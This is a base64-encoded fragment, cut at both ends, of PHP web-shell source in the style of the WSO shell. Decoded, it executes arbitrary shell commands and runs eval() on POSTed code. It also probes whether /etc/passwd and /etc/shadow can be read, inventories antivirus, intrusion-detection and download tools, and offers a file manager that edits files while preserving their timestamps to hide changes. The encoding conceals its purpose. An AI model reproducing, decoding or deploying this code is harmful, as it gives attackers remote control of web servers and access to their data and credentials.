3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGluKTsNCgkJJOKWliA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGluKTsNCgkJJOKWliA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkk4paWID0gc2hlbGxfZXhlYygkaW4pOw0KCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCgkJJOKWliA9ICIiOw0KCQl3aGlsZSghQGZlb2YoJGYpKQ0KCQkJJOKWliAuPSBmcmVhZCgkZiwxMDI0KTsNCgkJcGNsb3NlKCRmKTsNCgl9ZWxzZSByZXR1cm4gIuKGsyBVbmFibGUgdG8gZXhlY3V0ZSBjb21tYW5kXG4iOw0KCXJldHVybiAoJOKWlj09Jyc/IuKGsyBRdWVyeSBkaWQgbm90IHJldHVybiBhbnl0aGluZ1xuIjok4paWKTsNCn0NCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsNCglpZiAoIUBpc19yZWFkYWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGREI1Rj48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KfQ0KZnVuY3Rpb24gaGFyZFNjYW5kaXIoJGRpcikgew0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOw0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQ0KICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7DQogICAgICAgIHJldHVybiAkZmlsZXM7DQogICAgfQ0KfQ0KZnVuY3Rpb24gd2hpY2goJHApIHsNCgkkcGF0aCA9IGV4KCd3aGljaCAnIC4gJHApOw0KCWlmKCFlbXB0eSgkcGF0aCkpDQoJCXJldHVybiAkcGF0aDsNCglyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCglpZighQCRfUE9TVFsncDEnXSkgew0KCQkkYSA9IGFycmF5KA0KCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwNCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KCQkJIlZFUlNJT04iID0+IFZFUlNJT04sDQoJCQkic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKQ0KCQkpOw0KCQllY2hvIHNlcmlhbGl6ZSgkYSk7DQoJfSBlbHNlIHsNCgkJZXZhbCgkX1BPU1RbJ3AxJ10pOw0KCX0NCn0NCi8vZnVuY3Rpb24gcHJvdG90eXBlKCRrLCAkdikgeyAkX0NPT0tJRVska10gPSAkdjtzZXRjb29raWUoJGssICR2KTt9DQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KCWhhcmRIZWFkZXIoKTsNCgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglmdW5jdGlvbiBzaG93U2VjUGFyYW0oJG4sICR2KSB7DQoJCSR2ID0gdHJpbSgkdik7DQoJCWlmKCR2KSB7DQoJCQllY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsNCgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQ0KCQkJCWVjaG8gJHYgLiAnPGJyPic7DQoJCQllbHNlDQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7DQoJCX0NCgl9DQoJc2hvd1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSkNCiAgICAgICAgc2hvd1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7DQoJc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsNCglzaG93U2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOw0KCXNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsNCglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQoJc2hvd1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsNCgkkdGVtcD1hcnJheSgpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpDQoJCSR0ZW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkuIikiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIk1TU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiT3JhY2xlIjsNCglzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7DQoJZWNobyAnPGJyPic7DQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsNCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsNCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsNCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsNCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7DQogICAgICAgICAgICBpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7DQogICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7DQogICAgICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQogICAgICAgICAgICAgICAgZWNobyAnPGJyPic7DQogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdXNlcmZ1bCBhcyAk4pafKQ0KICAgICAgICAgICAgICAgICAgICBpZih3aGljaCgk4pafKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOw0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAk4pafKQ0KICAgICAgICAgICAgICAgICAgICBpZih3aGljaCgk4pafKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOw0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJOKWnykNCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsNCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7DQoJCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOw0KICAgICAgICAgICAgfQ0KCX0gZWxzZSB7DQoJCXNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsNCgkJc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJywgaWNvbnYoJ0NQODY2JywgJ1VURi04JyxleCgnbmV0IGFjY291bnRzJykpKTsNCgkJc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJywgaWNvbnYoJ0NQODY2JywgJ1VURi04JyxleCgnbmV0IHVzZXInKSkpOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCWhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhpdDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCWhhcmRIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsNCgkJZWNobyAnRmlsZSBub3QgZXhpc3RzJzsNCgkJaGFyZEZvb3RlcigpOw0KCQlyZXR1cm47DQoJfQ0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCglpZighJHVpZCkgew0KCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7DQoJCSRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsNCgl9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOw0KCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRnJhbWUnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NUWydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJG9SYiA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7DQoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRvUmIpLic8L2Rpdj4nOw0KCQkJfQ0KCQkJYnJlYWs7DQoJCWNhc2UgJ2NobW9kJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkcGVybXMgPSAwOw0KCQkJCWZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpDQoJCQkJCSRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7DQoJCQkJaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpDQoJCQkJCWVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsNCgkJCX0NCgkJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnZWRpdCc6DQoJCQlpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCSRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7DQoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOw0KCQkJCWlmKCRmcCkgew0KCQkJCQlAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOw0KCQkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJCWVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOw0KCQkJCQlAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsNCgkJCQl9DQoJCQl9DQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCxcJzFcJyt0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0gJzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMj48dHI+PHRkIGJnY29sb3I9IzIwMjgzMj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzA2MGExMD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzIwMjgzMj48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVuYW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICd0b3VjaCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsNCgkJCQlpZigkdGltZSkgew0KCQkJCQlpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lL